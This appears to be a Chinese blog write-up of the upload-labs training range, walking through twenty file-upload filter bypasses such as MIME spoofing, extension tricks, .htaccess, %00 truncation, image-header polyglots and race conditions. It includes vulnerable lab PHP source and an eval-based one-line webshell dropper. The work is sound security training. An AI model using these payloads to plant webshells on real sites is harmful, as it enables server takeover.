准备
部署:使用了小皮工具箱
Level-1(前端JS绕过)
这里是一个前端验证
直接把前端验证给nop掉
浏览器直接修改线上js - xiaochuchun - 博客园 (cnblogs.com)
利用这个方法
或者说可以用bp抓包直接改type
上传后用蚁剑连接webshell
Level-2(MIME绕过)
看源码发现这里是检测了Content-Type
头,直接修改
Content-Type
修改为或者其他支持的image/jpeg
Level-3(后缀名绕过)
只过滤了php
,可以使用变异的php
拓展名进行绕过
比如php3
上传了,由于文件名被修改了,我们可能需要爆破才能连接上传的webshell
Level-4(.htaccess绕过)
看源码,这一关把所有php拓展名给禁了
可以利用apache中间件.htaccess
的配置,把png
图片当做php来解析
SetHandler application/x-httpd-php
在我自己搭的靶场中没有复现成功,可能是我的apache
版本太高了
Level-5(大小写绕过)
- 把后缀名改为
5.PHP
同样由于我的环境版本比较高,默认不支持.PHP
后缀
Level-6(空格绕过)
与上一关相比,少了trim
也就是没去掉空格
那么显然这一关就是从空格着手
想到空格绕过,但是要求环境在windows
中并且需要修改php
环境为5.2.17
在我的环境下,空格绕过已经被ban
了
apache
不会解析这个为php
页面
wp
的做法是把文件名修改为1. php
Level-7(点号绕过)
根前几关相比,这一关没了去点号的操作
在Windows
环境中会自动去除文件末尾的点和空格
那么我们就在上传的1.php
后面添加几个点号
最后上传的文件变成了1.php
Level-8(::$DATA绕过)
这关的过滤与前几关相比少了过滤(::$DATA)
在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉
(::$DATA)
是利用windows的文件流特性
于是直接修改webshell
的后缀名为php::$DATA
Level-9(结合绕过)
由于不是循环验证,我们可以双写进行绕过.因为只过滤了一次
这里不能双写::$DATA
因为先转了小写
直接在后缀名添加. .
这样删除了空格和点后还剩下php.
利用windows特性就能绕过
Level-10(双写绕过)
由于这一题直接把我们的危险后缀名给替换成功了
但是不是循环验证了
所以我们可以直接尝试双写绕过例如pphphp
Level-11(get%00绕过)
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext
//$_GET
和之前的$_POST
差不多,主要是可以进行抓包修改
然后通过
move_uploaded_file(img_path)函数利用
解释00截断:
当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。
而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险
这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生
截取的数据包,把标记的内容修改成…/upload/test.php%00。这样实际是将1.jpg的内容移动到test.php文件中了。
因为$img_path变量是…/upload/test.php%00xxx.jpg。在php版本<5.3.4且magic_quotes_gpc=off时
以上为服务器phpinfo中的信息。…/upload/test.php%00xxx.jpg会被认为…/upload/test.php
利用move_uploaded_file函数,临时路径下的jpg文件内容写入…/upload/test.php中
在我的当前实验环境是无法实现的
Level-12(post%00截断)
这一关与上一关的区别就是save_path
的传参改为了POST
型
Pass-11中对url进行解码。将%00解码成0x00,而Pass-12中没有url解码这一步,直接在hex的值中修改。形成0x00截断。
由于我的php版本比较高,复现是不成功的
Level-13(图片马unpack)
在webshell前加个jpg
,gif
,png
的magic number
再利用文件包含漏洞把它当做php文件解析,直接getshell
Level-14(图片马getimagesize)
与第13关一样
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
本Pass主要利用isImage函数来判断上传的文件是不是图片类型(不仅仅是三种常规类型图片)。来看看isImage函数干了什么事情:
首先利用getimagesize函数检测文件类型。
然后利用image_type_to_extension函数对getimagesize函数返回的数组索引2(Array[2])作后缀名转换,最后用stripos函数检测image_type_to_extension函数返回的结果是否在变量$types白名单中。
所以关键就是getimagesize函数,它的工作原理是什么,什么样的文件会让它返回的数组的索引 2 为"白名单数字",怎么样去绕过它?
所以getimagesize函数不是绝对安全的,关键看怎么去使用它。对于本Pass只检测getimagesize($file)[2]的值,其绕过方式和Pass-13相似。只是文件头多保留几位罢了。
JPG:对于JPG文件保留的文件头标识就多一些了(10行左右),可以直接在JPG文件都加php木马,但是可能会报错误。
PNG:89 50 4e 47 0d 0a 1a 0a(可以抓包修改hex,也可以找个真png,用编辑器打开,将文件头标识后面的内容替换成php木马就行)
GIF:GIF89a(直接在文件头加入,也可以抓包修改hex:47 49 46 38 39 61)
Level-15(图片马exif_imagetype)
本Pass中使用的是exif_imagetype函数来检测上传的文件是否为图片,其返回值和Pass-14中getimagesize函数返回值的索引2是一样的
Level-16(图片马二次渲染绕过)
二次渲染绕过
imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
进行通关
按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用Notepad打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了。
我们
把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞,就可以了
这里的GIF
比较方便
直接改头部属性就可以了
Level-17(条件竞争)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
审源码
可以看到,这里有逻辑错误引起的漏洞,文件上传了之后才开始检测,然后进行删除操作
这里就可以进行条件竞争
在还没来得及删除的条件下实现webshell的利用
用burpsuite的sniper
模式即可
使用Burpsuite抓包上传shell.php
内容:
<?php fputs(fopen('Alan.php','w'),'<?php @eval($_POST["Alan"])?>’);?>
作用:
只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个Alan.php,写入一句话木马:
<?php @eval($_POST["Alan"]);?>
然后写两个脚本,一个是上传shell.php的脚本
一个是访问/shell.php的脚本
Level-18(后缀名+条件竞争)
由于本关不能利用文件包含漏洞
所以要首先绕过白名单
利用.php.jpg
这样低版本的apache
解析的仍然是php文件
剩余的就和LEVEL-17
一样了
Level-19(代码审计)
在此关,最终的文件名用户可控
由于是黑名单过滤,直接沿用前面关卡的%00截断或者空格或者.什么的进行绕过
upload-19.php%00.jpg
upload-19.php.
这个只能在php版本5.2才可用
Level-20(代码审计)
$file_name经过reset($file) . ‘.’ . $file[count($file) - 1];处理。
上传的是数组的话,会跳过$file = explode(‘.’, strtolower($file));
后缀有白名单过滤
$ext = end($file);
$allow_suffix = array(‘jpg’,‘png’,‘gif’);
最终的文件名后缀取的是$file[count($file) - 1],我们可以通过让$file为数组。$file[0]为smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . ‘.’ . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php
说明:
empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;
三运运算符:(expr1) ? (expr2) : (expr3); 如果条件expr1 成立,执行expr2,否则执行expr3;
end函数:将内部指针指向数组最后一个元素并输出;
reset函数:将内部指针指向数组第一个元素并输出;